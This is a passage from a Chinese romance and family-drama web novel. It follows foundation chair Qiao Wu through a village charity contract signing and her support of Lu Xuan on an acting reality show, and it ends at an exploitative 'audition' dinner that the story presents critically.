“但他应该只是来找理事长的,不是为了工作。”郭力言说,“他们也的确只是朋友。” 他觉得像乔梧那种人如果真的有一天恋爱结婚,一定会毫无保留地告知所有人她另一半的身份。 陆尽之……应该也是。 他说服不了自己陆尽之跟乔梧的朋友关系简单,可他也清楚自己并不是能站在乔梧身边的人,这样也好。 郭力言低头看了眼自己的手,随后将没有分出去的饼放在桌上,出去洗了个手。 另一边的陆尽之跟乔梧来到村口。 他一边擦着手一边说:“你对郭力言很特别?” “郭力言么?”乔梧想了想,“算不上特别,就是帮了他几次。” 她把跟郭力言遇到的事简单说了一遍,虽然没有那么自信,但郭力言的改变的确也就在那段时间。 陆尽之:“他是因为你来公司的?” “不是,偶然遇到的,怎么了?” “没事。” 只是郭力言的眼神让他有种被冒犯了领地的感觉。 陆尽之打开车门上车,但在关上车门的那一瞬间,门被一股阻力挡了挡,他顺着那只手往上看到它的主人。 “姓和名总会让我觉得很庄重。”乔梧笑着说,“而且也有且仅有邀请过一个朋友看星星。” 听懂了她话里的意思,陆尽之没来由笑了下:“知道了。” 他还是乔梧挺重要的那个朋友- 乔梧在村里又待了三天,最后一天跟村里签合同,完成这次的项目仪式。 各家媒体早就蓄势待发,得到通知以后就连夜赶往村子。 乔梧起床端着盆出来洗脸就被摄像机给架住了。 这些人不仅仅是要拍项目仪式那一瞬间,还要拍下公益人在这里做事儿的一些素材。 乔梧心道,幸好她早有准备,考察那段时间都是让郭力言来拍素材,要是这些人在还不知道要耽误多久。 看新闻以及公益报道的人一向很少,但这次却是个意外。 因为项目签约直播和演员训练营的第一期播出是同一天。 演员训练营一向都是每年这个时间段最受关注的综艺节目,先导片出来就已经冲上了好几次热搜,这次也不例外。 【我来了,让我来品品你们说的玩票少爷演技到底有多差。】 【谢邀,我去考古了,发现弹幕说得一点都没错,陆宣长了那么一张脸为什么要去演那么辣眼睛的网剧!】 【第一期还没开始,陆宣的网友投票热度就垫底了,天崩开局。】 随着热度逐渐攀升,演员训练营第一期也开播了。 每一个人出场都是预料之中,有喜有忧。 轮到陆宣时,弹幕热度空前高涨。 【笑死,姜奇老师说话的时候,我都担心陆宣冲上去掀桌。】 【其他几位导师应该都认识陆宣,手都要摇烂了。】 【但是陆宣说话的确挺符合 网上人设的。】 过了两分钟,在表演之前,节目组插入了亲友送学员入场的画面。 【等会儿,刚才屏幕上一闪而过的是谁?】 【我记得先导片里说过,她叫乔梧。】 【这两人在车上说话好像哄孩子啊,他们是忘了还戴着麦克风吗?】 【有点好磕是怎么回事?你已经是第一名了。】 【要求真低,可能对于陆宣来说做到这些的确就很难了哈哈哈。】 【姐姐,你来哄我,我比他听话多了!】 表演正式开始。 陆宣那场戏从头到尾不到两分钟。 但加上机位和后期滤镜,愣是给他的演技又往上抬高了一个档次。 【其实,也还可以?】 【比烂剧有进步,他说的还挺有道理,这是什么触底反弹的反应哈哈哈。】 大屏幕上再次出现了乔梧。 这一次她没有说太多,但一句发光就引爆了弹幕。 【不是,怎么有人按我头磕CP?】 【明明是姐姐在发光啊啊啊啊啊!】 陆宣的下一个表演学员是寥寥。 由于乔梧是中途决定做寥寥的亲友,所以节目组后期把寥寥跟她所有的联系都放在了一起。 包括寥寥说乔梧是厉害的人,是她尊敬的人。 再配上乔梧重新在大屏幕出现。 弹幕简直就是CP大乱炖。 【有人把后台陆宣崩溃的画面录下来了吗?我笑到头掉。】 【我擦,姐姐到底什么人物,男男女女都为她疯狂。】 【看完节目的,指路大眼搜索陆氏公益基金会理事长。】 【看完回来了,牛逼Plus。】 很多人慕名而来的人涌入基金会签约直播的直播间。 因为是签约仪式,乔梧穿得比较正式,也戴上了眼镜。 她没有特意让大家准备很隆重的场景,全场只有两张桌子拼在一起,几张白纸写了个签约仪式贴在桌前,就是这么敷衍简陋。 但画面却硬生生被她的脸撑起来高级了不少。 她轻轻整理了一下面前的话筒,而后带着浅浅的笑意对着镜头温声道道:“大家好,我是陆氏旗下公益基金会的理事长乔梧,今天代表陆氏与河前村签订今后五年……” 在她面前摆着的是最近这一个星期以来每天上山下山做的那些记录,她完完整整将以后规划村子的思路告知了屏幕前的每一个人,最后自信地说:“欢迎大家监督。” 站在人群后的从亦怔怔地望着这个女人。 一个星期的时间,乔梧也用实际行动告诉了她什么叫做用眼睛去看世界。 不是作秀,每天晚上灯下的总结会,每天早上爬上山的每一秒,乔梧都清清楚楚展现给了大家。 她忽然觉得自己那声对不起,的确说得小声了。 【我双开看节目看直播,忽然觉得陆宣除了一张脸,也不是那么配得上姐姐了。】 【一个还在节目里发疯争宠,一个已经在签订好多个零的公益合同了,陆宣你能不能争点气。】 此时的节目组。 孟星星又带着一箱糕点来探班了。 他仔细观察着陆宣,发现他除了比之前更脏更邋遢以外,精神状态意外比上次还健康,于是大胆道:“今天节目第一期播了,你想知道结果吗?” 陆宣懒懒掀起眼皮:“不想。” “你放心,这次没那么多骂你演技的了。” 陆宣:“意料之中。” “先导片的时候已经骂完了。” 而且骂无可骂。 乔小姐真是神算子,这一招釜底抽薪。 “……” 陆宣觉得自己这个新经纪人真是生了一张玲珑嘴,跟陆尽之有得一拼。 孟星星还没发现陆宣的表情,接而道:“他们这次骂你不成熟不争气。” 有那么一瞬间陆宣还以为是谁闯到陆宅去看到了家里的家规了。 他皱眉:“什么乱七八糟的。” “你不知道吗?”孟星星把手机拿出来给他看,“今天正好你们家陆氏基金会项目签约,乔小姐在现场。” 陆宣噌的一下警惕:“陆尽之拉她去出差了?” “你不能看了再说嘛?”孟星星指着大大的标题,“乔梧理事长。” 理事长… 这是什么管家的新词汇? 陆宣对于公司那些职位的理解还只存留在总裁和秘书以及某些经理,所以他的第一反应是陆尽之又不干人事儿了。 “第一顺位就能不花钱让人去出差?我鄙视他。” 他低头扫了眼,目光忽的顿住。 一个很陌生的乔梧。 这么久没见面,但奇怪的是乔梧在他心里的印象却越发鲜明。 自信从容。 虽然屏幕上的人依旧那样,但比起从这里离开时被晒黑了点儿,可眼里的光却更亮了。 以前的乔梧眼里没有这种光。 这次不用孟星星说,他又点开了其他相关报道,一路顺藤摸瓜,终于搞清楚了乔梧在做什么。 “她……”陆宣猛地站了起来,“她辞职了?!” 声音之大震得整个组都看了过来。 陆宣一把将手里没吃完的东西丢给孟星星:“我要回去找她。” “你疯了!”孟星星手忙脚乱拽住他,“哥,你还在录节目呢!” “录什么节目,你知道我为什么录节目!她都辞职了!”陆宣脑子嗡嗡作响,“她说话不算话。” “辞什么职。”孟星星压根听不懂。 陆宣手轻轻颤抖,声音有点茫然:“她不做我的管家了。” 早知道就该把她关进行李箱里不让她走的! “你在说什么?”孟星星用自己的体重牢牢拖住他,“她不是好好在这儿呢吗,还让我来看你!” “看……” 陆宣愣了愣:“看我?” 孟星星也崩溃了,趁这个机会把人按住,压低声音说:“哥,我每天都在给她发你的消息,她怎么可能不做你的管家,才说好能坚持,能好好说话,你怎么还这么沉不住气。” 陆宣一把抢过他的手机,闷头就开始看签约仪式。 说好什么,说好是他争气她不走。 她如果要食言,他是一定要去找她算账的。 孟星星狠狠叹了一口气,难怪网上那些人磕疯了,这换做是他都忍不住。 把糕点重新塞回陆宣手里,孟星星说:“我本来今天回去还想跟她说你表现很好的,结果怎么突然来这一出。” 陆宣没跟他一般见识:“你懂什么。” “我不懂。”孟星星说,“但是您没看网上说的吗,乔小姐一看就是个女强人,你总把她当做你的管家是不是不太好?我要是她肯定也会想做更厉害的事。” “我家管家跟普通管家不一样。”陆宣皱眉,“她比很多人都厉害,她能管得住陆尽之的人。” “那不也是管家么。” 陆宣懒得跟他争辩,而是讲那些报道翻来覆去的看。 两个星期了,他已经两个星期没跟乔梧说话了。 想到孟星星还要回去汇报,他迟疑了一下:“今天的事不要跟她说。” “为什么不说。”孟星星还是很理智的,“哥,乔小姐想要看到你改变,你要是隐瞒了以后被发现,情况会更严重,而且我觉得你这样会让她压力很大的。” “压力?” 孟星星点头:“你因为她差点违约了,你觉得她会因为你重视她高兴还是生气?” 生气。 陆宣想都不用想第二个答案。 但他又很不理解,为什么一定要在这之间做一个选择。 休息时间到,孟星星收拾东西,伸手要回自己的手机:“好了,我得走了,下周再来看你。” “也是她让的?” “对。” 陆宣没什么情绪地点了点头,转身走了。 见他过来,姜奇八卦地问:“刚才闹什么呢?” “闹脾气。”陆宣睨他一眼,“想见识见识?” 姜 奇早就从其他导师那里听到过陆宣的光荣事迹了,立刻摇头:“那就不了,你这周挺乖的,别总给自己找麻烦。” 虽然还是会碎碎骂衣服脏,骂天天熬夜。 但没有一次真的发火。 “进步也挺大。”吃人嘴短,姜奇夸他,“你有吃这碗饭的天赋。” 陆宣动作顿了顿,问他:“你当初为什么演戏?” 姜奇直接道:“想出名,想挣钱。” “不是因为喜欢演戏?” “谈不上喜欢。”姜奇如实说,“做群演的时候拍戏挣钱,后来发现有台词的钱更多,就往这方面学,就一直走到现在了。” 这种诚实和朴实比起那些空话更让陆宣信服。 他对眼前的导师有点刮目相看了。 像是看出了他的迷茫,姜奇问:“有什么问题?” “如果是为了某个人才想演戏,你觉得怎么样?”陆宣问。 “只要你演得好,你就是为了一只宠物演戏我都没话说。”姜奇哈哈笑了,“这世上没有那么多梦想艺术家,都有自己的私欲,钱也好名也好都很正常,演员不就是一份工作么,世上有几个真正喜欢工作的人?” 他拍拍陆宣的肩膀:“但是只要你得到了这份工作就得认真对待,演员要对剧本角色负责对观众负责,这也是对自己负责,让你想要演戏的那个原因只是初心,初心跟恒心是两码事儿。” 这几句话把陆宣说得愣了好久。 但他好像明白乔梧当初说只要他坚持下来就是第一名的意思了。 乔梧并不把他能不能演得好放在心上,只要他能认真对待,能对他自己和这份职业负责,她就已经觉得他做得很好了。 “别瞎想了。”姜奇在他眼前晃了晃,“准备就位。” 这边乔梧飞机落地是家里的司机去接的她,快到陆宅的时候,她忽然发现路上有个熟悉的背影,正在吭哧骑车,骑自行车。 她怀疑自己看错了:“那是陆应池?” “是四少爷。” “慢一点。”乔梧说,“他怎么会想到……” 话音未落,陆应池前面又露出一个小一点的身影。 陆柠也骑着车,还是个四轮的,背着个书包也是吭哧吭哧。 乔梧震惊地问:“怎么回事?” “不知道。”司机这几天也一头雾水,“二少爷前几天回来就说了,司机不用再接送四少爷和小小姐。” 乔梧:“……” 合着陆尽之那天没说什么,但在这儿等着他们呢? 她把车窗降下来,喊了声:“陆应池。” 两人一个急刹,看到她的一瞬间脸色都绿了。 “乔梧!”陆柠最先弃车跑到她这里,“你终于回来了!” 乔梧让司机把车停下:“身上没钱?” “二叔!把卡停了!”陆柠气得前言不搭后语,组织了半天语言,“一天给我们十块!现金!” 所以她甚至都不能打车,只能骑车到最近的公交车站坐公交。 而陆宅附近根本没有公交站,所以她每天都要早起半个小时! 半个小时! 她睡眠不足,一定会长不高的! 乔梧忍着笑,看向陆应池:“你也是十块?” 车钥匙被没收,连摩托都骑不了的陆应池憋了一下:“三十。” 但踏马也不够打车! 陆少爷甚至还查了要怎么坐地铁! 乔梧问:“怎么不跟我说?” “他说要是敢打扰你,十块都不会有。” “……” 陆应池愤愤不平:“我们正大光明举报,他应激什么!” 乔梧失笑,自己打开门下车,让司机开着车先走。 “我们一起回去呀!” 陆柠真的不想再骑车了,四个轮子的车真的很丢人。 “难道要让佣人回来帮你们推车吗?”乔梧将她的书包拿下来给她拿着,“走吧,我陪你们走回去。” 陆柠揪着她的衣服:“我不想再早起了。” “嗯。”乔梧扶着另一边的车把手,“明天就让司机送你们。” “那二叔呢?” 乔梧想了想:“他如果有异议,我把他的车钥匙也收了。” 其实她觉得陆尽之对这两人的惩罚应该也只到今天,只要她回来就不会继续了。 这两人也知道自己做了亏心事,那天添油加醋的,所以一直忍着没说,硬生生忍了这几天。 陆应池推着车走在另一边,忍不住问:“他为什么会去那里找你?” 而且第二天就回来了,今天的报道也根本没出现他的影子,这不应该。 乔梧:“有话跟我说。” 陆应池表情扭曲:“不能打电话?” 乔梧反问:“你们给我打电话了吗?” “……那又不一样。” 陆应池就是觉得哪里怪怪的,他说不上来。 乔梧:“他做事的逻辑你能想明白?” “……合理了。” 陆尽之做事没有逻辑。 玛德,30块,也只有他想得出来! 猴玩意儿! 陆柠好一段时间没见到乔梧,不自觉地朝她靠近:“我们晚上要去看陆宣节目的第一期,你看嘛?” “你俩还能一起看综艺了?” “别的不行,陆宣可以。”陆应池挑眉道,“他下饭。” 有人跟自己一起吐糟陆宣,这种好事为什么不要? 乔梧有点无奈。 不过她最近很忙,的确还没来得及看陆宣的节目。 所以吃完饭等那两人做完作业来找她时,她就跟着一起来到了影音室。 他们在桌上摆了瓜子水果润喉糖,连看过的先导片都要翻出来重新看一遍,陆应池还翻出了当初陆宣拍的网剧,一副要吐槽到天亮的架势。 这两期的内容乔梧倒是现场看过,所以没有他们那么专注,她在手机上给还在加班的陆尽之发消息,说自己把“限车令”解了。 消息才发出去,孟星星就把今天去探班的总结汇报发给了她。 乔梧将内容从头到尾看了个遍,轻轻皱了下眉。 如果没事,她就不会主动联系陆宣或是陆应池他们,就是察觉到他们对她太过依赖了,要让他们戒断一下,但陆宣的戒断反应比她想象中要大。 想着谁谁就来,下一秒她就接到了陆宣的电话。 已经过了十二点,很晚了,乔梧看了正兴致勃勃的两人一眼,终于还是起身走出去接了电话。 陆宣没想到她会这么快接起来:“你还没睡?” “嗯。” 在听别人吐槽你。 电话那头沉默了很久,乔梧也耐心地等着。 直到陆宣再次开口:“我今天发脾气了。” 乔梧心下一松:“只有这个吗?” “我知道你是什么意思了。”陆宣声音比起以往来低了很多,也有几分疲惫,“你要我对自己负责。” 乔梧无声弯了弯唇。 “我会的。”他轻声说,“我在学了。” 可他还是没听到乔梧的声音,陆宣躺在酒店里那张他曾经一点都不想沾上的大床上,看着天花板,觉得有点眩晕。 “我刚洗完澡。”他说,“但是还不能睡觉,我还要背台词。” “盒饭很难吃,衣服脏地板脏头发脏,很累,还要被骂。”他顿了顿,又说,“我很尽力没有还嘴。”” 我……” 他没再说下去。 但这次乔梧却出声了:“陆宣。” “嗯。” “如果你现在反悔不走这条路,结束以后也可以放弃。”乔梧温声说:“但你要知道每个人都跟你一样是这么走过来的,以后你做其他事也会有不一样的累。” 陆宣:“像你一样爬那么多山还住在村里?” “那就是辛苦了?”乔梧笑了笑,“才哪到哪,比我们辛苦的人还有很多。” “我知道。”陆宣声音更低,“我没想放弃,也没跟别人说,只跟你说。” 哪怕是当初因为乔梧才选了这行,他做了就得做好。 每天那么多人一起熬夜,不管是导师还是工作人员他都看得见,所以他没法发火也没法埋怨。 他只是很久没跟乔梧说话了。 孟星星那种转述能力,他怕乔梧对他失望。 就,放弃他了。 他沉默着。 “辛苦你了。”乔梧笑道,“别哭。” 陆宣就是泪失禁体质,他不想哭,但他忍不住。 可现在听到乔梧还愿意搭理他,他觉得自己哭一下也可以,他不累了。 “你休息吧。”他说,“我要背台词了。” 乔梧提醒:“这次是例外,下次不能打电话了。” “……” “不过可以发消息,我会看。” 这下那边很快挂了电话,乔梧看了手机屏幕一会儿,叹了口气。 陆宣很有骨气,两周时间他不仅没给乔梧打电话,甚至连乔梧批准的消息都没发,他觉得发了乔梧也不会回的。 节目录制结束那天,他也的确没拿到第一名,却得到了进步奖和姜奇发出的合作邀请。 从演播厅出来的时候,他拿着手机,第一次在白天可以跟外面的人联系。 但他不知道要怎么跟乔梧说,说自己没有拿到第一名,哪怕乔梧不在乎。 同组的几个学员最近看陆宣脾气没有传说中那么难以相处,主动问:“陆老师,要不要一起去吃饭?” 想着拖一秒是一秒,陆宣刚要点头,忽然看到演播厅外一个熟悉的身影。 他的脚步硬生生定在原地。 那人正在跟寥寥说话,笑意浅浅。 一个月不见,却还是那么鲜明清晰。 学员们也认出了乔梧,惊讶道:“那不是你朋友吗?” 乔梧听见声音回头。 看到呆愣在不远处的陆宣,跟寥寥说了句话后走上前:“怎么了?” 陆宣还没出声眼睛先红了。 “你怎么来了?” 乔梧笑道:“来给第一名奖励。” “什么?” “辛苦了。”乔梧将准备好的纸巾递给他,“我们回家。” 第53章 第五十三章干正事儿 陆宣不用看都能知道自己现在是个什么鬼样子,他接过纸抵了抵眼角将湿意抹平,又捏着皱皱的纸巾说:“我没拿到第一名。” “我知道,是寥寥。” 很多人都在往这边看,所以乔梧并没有多说,只道:“但你们不一样。” 比起一个月前的陆宣,他现在已经做得很好了。 “陆老师!”同组那些学员在他身后喊,“走不走呀?” 乔梧尾音轻轻上扬:“嗯?” “他们要去聚餐。”陆宣现在哪里有什么聚餐的心思,满脑子都是回家。 放在一个月之前,他从来不会把回陆宅当做是一件令人期待的事。 但乔梧那句“回家”说得很好听。 “你要去?” “不去,回家。” “我可以等你。”乔梧说,“正好寥寥约我吃饭,我们结束再一起回去?” 陆宣话都没说出口眉头就先皱起来了。 又是那个什么鸟! 但乔梧知道他这是戒断反应,便耐心地说:“我不是你这个职业圈子里的人,但他们是,也可能会是你以后往前走时志同道合的朋友,我不陪你你就不走了?” 对自己负责,对自己负责。 要改掉从出生就养成的习惯并不容易,陆宣默念了好几遍才从见到乔梧的混乱里清醒过来。 他一直对于社交圈都没什么概念,他的圈子可以说是一团乱,谁都能来跟他说上几句话。 但非要说能有什么闲时普通约着聚餐的朋友,还真没有。 当然同组的学员也不算是他的朋友,顶多就是说过几句话,同吃同睡同挨骂一个月的……同事,只不过比起过去那些只会灌他酒的人让他更能接受一点。 但他没有立刻走,而是微微眯起眼朝寥寥的方向盯了几秒,语气森森:“吃完饭回来我还是你的偏向吗?” “……” 乔梧没料到,短促笑出声。 “笑什么。”陆宣将手里那块奖牌塞到她手里,“给你的。” 乔梧垂眸看去,是进步奖。 他比她预想中的,要有天份得多。 只是没等她开口,陆宣就匆匆走了。 目送陆宣离开,乔梧才转身走到寥寥身边:“坐我的车介意吗?” 寥寥立刻摇头:“当然不!” 反正她没人来接,最后还是得自己打车去机场。 因为节目播出,现在基本上所有的学员都有了热度,尤其是广受关注的几个,外面有很多狗仔和代拍都在蹲守,所以乔梧来时直接把车停在了内部停车场。 上车后她问:“想吃什么?” “都好,看您喜欢。” 寥寥默默盘算自己的银行卡余额,她现在接了通告,身上还有点钱。 请乔梧吃一顿饭应该够了。 在她眼里乔梧这种云间上的人就应该吃最贵的。 但乔梧并没有发动车子,听了这话后她回过头:“其实……我今年也才22岁。” 数钱的寥寥茫然:“什么?” “在你们学校的话,应该也只是个普通学姐的地位。”乔梧说,“你不用把我看得太高。” 被拆穿的廖廖脸色瞬间爆红:“我不是这个意思,我就是……” “你别紧张。”乔梧安抚她,“交往的事情是相互的,你觉得我很好,我也觉得你很好,所以如果我也用你对我的方式对你,你会不会有压力?” 那就不止是有压力了。 寥寥想都不敢想乔梧崇拜自己的那一刻。 乔梧的视线落在她怀里抱着的奖牌上,叹道:“很厉害啊第一名。” 这下寥寥的脸更加红了,她觉得奖牌有点烫手,但还是忍不住拿给乔梧看:“这次我不是幸存者。” 乔梧的确没见过,她觉得只要能成为第一名的人都很厉害,所以认真地欣赏了一会儿这个奖牌:“你万里挑一。” “所以第一名,现在想想我们要去吃什么?” 这次寥寥就没有那么拘谨了,她拿出手机开始搜索这个城市里比较好吃的美食攻略:“有一家创意料理,可以吗?” “好。”乔梧发动车子,“地址发我。” 寥寥心里热腾腾地把地址发过去,紧接着接到了公司询问结果的电话。 乔梧无心窥探别人的工作生活,所以并没有很在意去听,而是认真开车。 直到对面安静了好一会儿她以为电话已经结束时,电话里的吼声拉回她的注意力,她视线没动,却是微微侧了侧头无声表示询问。 “一定要现在吗?”寥寥声音有些为难,” 我跟人有约了。” “什么约,有工作重要吗?” 电话那头的经纪人扬声说,“节目播完也要一个月的时间,你现在还是新人,出头机会重要还是你的私人约会重要分不清楚?” 工作很重要。 但也很难约到乔梧了。 从她的只言片语中,乔梧猜到了大部分:“临时有事?” “我一会儿给您回电话。” 经纪人:“不要一会儿,地址我发给你,过了这村就没这个店了。” 对面啪的一声挂掉电话。 寥寥捏着手机:“公司安排了一个试镜机会,导演今天正好在这边说可以见见。” 乔梧了然:“因为我耽误了?” “可我已经跟你约好了。” “可以等你试镜完再去吃。”乔梧果断将导航退出来,“新地址发我。” “你要等我吗?” “哪怕你今天把我鸽了都行,朋友是工作之余的生活。”乔梧笑笑,“我又不是一辈子只吃这一顿饭,也不跟你见面了。” 这个人也太好了吧! 寥寥现在真的很感谢当初锲而不舍敢于踏出那一步的自己,不然错过了乔梧真的会让她遗憾终身。 她把试镜的新地址发过去,又捏了捏奖牌:“等我好消息。” 乔梧在路口掉头,揶揄道:“那我得请你吃第二顿庆功宴。” “我请你!”寥寥拍拍的自己的荷包,“我存了一点点钱的。” “好,那我吃贵一点的。” 寥寥在车上紧急准备自己的试镜资料,戏是现场定,但她的形象和表演也要有,这样有利于增加导演的印象分,让她跟角色更加贴合。 因为是临时联系到导演,试镜地点就在导演吃饭的地方,与之前定下的地方一南一北,估计结束再过去人家都关门了。 寥寥也是这么想的,所以她问:“我们要不要换一家吃?” “那就这家怎么样?”乔梧想着一会儿还要回去接陆宣,耽误太久不好,“环境看起来很不错,这次我请你我来做主,下次你来做主。” 还有下次! 寥寥点头:“那我先去!” “我一会儿发桌号给你。” “嗯嗯!” 等寥寥上去了,乔梧找地方停好车来到店里。 难怪导演们来这儿吃饭,哪怕是大堂里的小桌距离间隔都很大,环境清幽。 不过底下人还是多了点儿,乔梧不太懂明星的日常行程一般怎么处理,但以后寥寥要走这条路的话,她尽量还是不要暴露她的隐私比较好,所以她要了一个私密性比较好的包厢。 这边包厢跟大堂中间隔了很长的连廊,服务员领着她坐下:“请问是一个人吗,现在点餐吗?” “两个人。”乔梧翻看菜单到最后的茶饮页面,“先上点茶,等我朋友来了再点餐,谢谢。” “好的。” 等人走后,乔梧把包厢的名字发给了寥寥,随后点开秦敛的聊天框发了个问号过去。 刚才在车上她看到秦敛又给她转了一笔钱。 虽然不多,但秦家的钱也不至于跟洒水一样往外洒,陆应池和陆柠前两天还在为了几十块钱哭唧唧呢,这边她就收到好几十倍了。 秦敛倒是不跟她委婉,直接一个电话打了过来:“从亦今天来公司待了一天。” 听他的语气心情应该不错,乔梧问:“然后呢?” “一句话没说。”秦敛想起来就觉得好笑。 就像跟屁虫似的走到哪跟到哪,他签个字这人都要探头看几眼,开会也搬着椅子蹲在角落瞪着眼睛看。 “看完就走了。” 秦敛顿了顿,又说:“然后有人给我点了杯咖啡。” 可能是那个小丫头给他沉默示好的一种方式。 秦敛并不指望家里人能跟他关系有多好或者多有出息,但至少别让他头疼别拖后腿。 所以从亦能做到这个份上,他暂时觉得已经满意了。 其中功劳最大的莫过于乔梧。 他听说给女士买礼物就是衣服首饰包包之类的,但秦敛没有这方面的经验,乔梧缺不缺是一则,他更在意的是如果真的买了,那些东西可能进不了陆宅大门。 毕竟他人都被拉黑了。 还是打钱比较直接。 “听说你又出差了,什么时候回来再请你吃饭。” “好。”乔梧并不扭捏,“不过自己家的事情有时候自己处理会比较好,放心,我不白要你的,也包售后。” 秦敛挑了挑眉。 电话挂断两分钟,他终于明白乔梧说的售后是什么意思了。 因为他收到了两份奇怪的文件。 分别是《狗血豪门排雷指南》以及《传统霸总是怎么被淘汰的》。 秦敛:“……” “什么东西?” 乔梧:“你们家情况更严重,但这两份文件可以解决你百分之八十的问题,不用客气,你应得的。” 秦敛:“……我谢谢你。” 乔梧退出聊天框,没忍住笑了。 好几十万呢,她不白要。 见寥寥还没回来,她打算去外面逛逛,刚才过来的时候看着连廊的景色还不错,她现在很喜欢去观察生活里以前没注意过的细节。 谁知道下一次看见是什么时候呢,不留遗憾是最重要的。 往前走了没几步,连廊那边却走来了一个熟悉的身影。 那人明显也看到了她,脚步顿住,原本拽拽的姿态也下意识收敛了。 服务生疑惑:“秦先生?” “嗯。”秦天睿走到乔梧面前,想了想,还是停了下来,“你怎么在这儿?” 乔梧没理他。 秦天睿:“乔梧。” “原来我有名字,我以为你跟别人说话呢。” 上一次一巴掌几万的画面从脑海中跳出来,秦天睿眼皮重重跳了跳。 昨晚从亦回到家后在餐桌上跟他爸妈吵了起来,那时秦天睿才知道原来她也跟乔梧遇上了,还被收拾了,顿时觉得平衡了很多。 但也从只言片语中得知了一些以前没有在意过的事情,比如他大哥。 所以他难得跟从亦心平气和聊了会儿天,越聊越心惊。 秦敛过去一句话不说,抄着皮带就动手,他哪里知道这人小时候是怎么过来的。 现在大概知道了,合着老子变态,儿子也变态。 挺好的,一家人没一个好东西。 所以在这里遇到乔梧,他觉得是该跟她打个招呼,然后又被怼了。 算他吃饱了撑的。 秦天睿不想被瞧不起,尤其是这个曾经把他按在地上摩擦的女人,所以不用问他自己就说:“我今天是来办正事儿的。” 乔梧觉得匪夷所思,奇怪地看了他一眼:“二十多岁了才干件正事儿,要我给你发奖状吗?” “……”秦天睿臭着脸,“我是让你看看我站得起来。” “我并不觉得荣幸。”乔梧坐在椅子上,悠然道,“那是你自己的事儿,要我评价得加钱。” 秦敛总说陆尽之不做人,但现在秦天睿觉得乔梧的嘴巴好像也没好到哪里去。 的确,一家人没一个好东西。 他冷冷哼了一声:“我来谈电影投资。” 这些年他确实有点不学无术,所以不可能进集团去让秦敛抽皮带,就只好缩在秦氏旗下的传媒公司,今天也是过来开演员训练营的总结会,有个导演邀请他来谈电影投资他就顺便来了。 听到这个乔梧才正色些许:“电影?” “怎么?” “在这儿试镜?” “你知道?” “嗯,我有个朋友是演员。”乔梧微微挑眉,“会夹带私货吗?” “你把我当什么了?”秦天睿不悦,“要不你也去看看?” “你们谈公事我去干什么?” “你就是在等你那个朋友吧?你不说谁在意你去干什么,跟我一起没人会说你。” 秦天睿非要让这人看看,自己是干得出正经事儿来的。 乔梧想了想,觉得也可以,顺便还可以替陆宣提前了解了解娱乐圈里这些电影试镜的流程,她站起身。 “但是我不会给你开后门。”秦天睿警惕。 乔梧嗯了声:“放心,我不说我跟谁 有关系。” 她跟着秦天睿来到包间门口,服务生敲了几下门,门被打开。 “小秦总!”有个人满脸堆笑地迎上来,“真是好久不见,谢谢赏光……咦这是?” 那人目光在后面的乔梧身上停顿,略加打量。 乔梧静静回望。 “我朋友,不用管她,你们该做什么做什么。”秦天睿没解释太多,随手抽了张椅子,然后往后看了眼。 重新又抽了一张自己坐下了。 一会儿要是被乔梧抓到什么把柄,少不得又去他哥面前嚼舌根。 乔梧这才看清一个包厢里中年男女四五个,年轻人两三个,其中一个就是廖廖,后者看到她后眼睛猛地瞪大。 她几可不察摇摇头,收回视线在秦天睿身边坐下了。 每一个圈子都会有些暗里的规则,免不得会因为某些关系多一点后门,她并不想成为这个后门。 虽然秦天睿说了不用管跟他一起来的人,但其余人看到秦天睿给她拉椅子,再一看这个年轻女人身上的气质仪态肯定也不是一般人,也不敢怠慢。 秦天睿打量了一圈,没明白:“怎么会有在饭桌上试镜的?” 有个戴帽子坐在他对面的中年男人笑道:“饭桌上谈下来的生意才是生意,小秦总应该是没怎么接触过,以后就知道了。” 又指着坐在角落里的廖廖三人:“这些都是才进圈的新人,也是有这个机会今天才见着面。” “都愣着干什么?”男人说,“给小秦总倒酒啊,自我介绍都不会。” 秦天睿皱了皱眉,凑到乔梧身边:“你家旗下有传媒公司吗,试镜要先喝酒?” 他下意识已经把乔梧当做了陆家的人,也没在意自己的说辞问题。 乔梧若有所思摇头:“没有,偶而有投资。” 只不过她还没接手过。 “原来也是跟小秦总有生意往来的!”刚才开门的男人在旁边听到后,顿时明白乔梧是来干什么的了,“这位女士怎么称呼?” 乔梧:“姓乔。” “乔小姐。”男人立刻起身让位,招呼了其中一个俊秀的青年,“来,你坐乔小姐身边来,今天就给她倒酒。” 青年应了一声,还没反应过来就先起身走到了乔梧身边坐下,局促地说:“乔小姐您好,我叫黎向阳。” 乔梧:“……” 她抬手挡住了这个人倒酒的动作:“我开了车。” 其他人纷纷附和:“可以请代驾!” 乔梧淡淡瞥了秦天睿一眼。 后者一个激灵,坐直身体拍拍桌子:“闹什么,黄隆你不是试镜吗?搞快点喝什么酒。” 被叫做黄隆的就是那个戴着帽子的人,应该就是导演了。 黄隆嘴上应着,心想秦天睿就是个不学无识的二世祖,他能看懂什么试镜。 更何况今天他喊来的这些都是新人,不可能在他电影里担任什么大角色,只是趁着这个机会让他们把秦天睿哄高兴了,乖乖投资就行,到时候再在剧本里给他们加几个无足轻重的小角色就解决了。 再要是懂点事儿的,跟秦天睿攀上关系,那倒另说。 所以他抬着下巴示意:“那就一个个来,先给小秦总和乔小姐看看你们都有什么才艺。” 黎向阳是第一个。 他站起身:“各位老师好我叫黎向阳,是天方娱乐旗下的艺人,传大表演系大三生,这次想试剧本男三号,我……” “特长,人家要看你的特长。”黄隆打断他,“先上才艺看看。” 边说视线边往乔梧这边看,暗示得很明显。 乔梧再怎么不了解这一行,此时也察觉了不对,她曲手搭在桌面,问身旁有些紧张的青年:“知道这次来是做什么的吗?” 黎向阳点头:“试镜。” 乔梧望向那个叫黄隆的导演,笑意盈盈:“黄导,我没接触过这行,今天是跟着秦少爷来见见世面的,我看这个弟弟有点拘束,不然你跟他说说具体流程?” 这话说得实在圆滑,黄隆心里顿时就飘了起来,看来这个乔小姐也是个“懂行”的啊。 圈里的人好些荤素不忌男女通吃,所以他们这种饭局从来不会只带男孩或是女孩,都带来,谁表现好就是谁。 今天没想到还误打误撞,这个乔小姐明显对黎向阳感兴趣! 黄隆当即拿了个分酒器塞进黎向阳手里,轻推他一把:“你们学表演的不都会跳点舞什么的?你这身材身段条件这么好,不赶紧给乔小姐扭扭看看,她高兴了什么都好说,你一个风华正茂的男大学生还能愁没机会?” “还有你们。”他继续示意廖廖和另外一个女孩子,“第一次见小秦总,都懂点规矩,把人家晾在那像什么样子?” 其他人也纷纷意会的笑了起来。 就是抬着分酒器的黎向阳脸色青一阵白一阵,这下彻底明白这根本不是什么正经试镜的机会了。 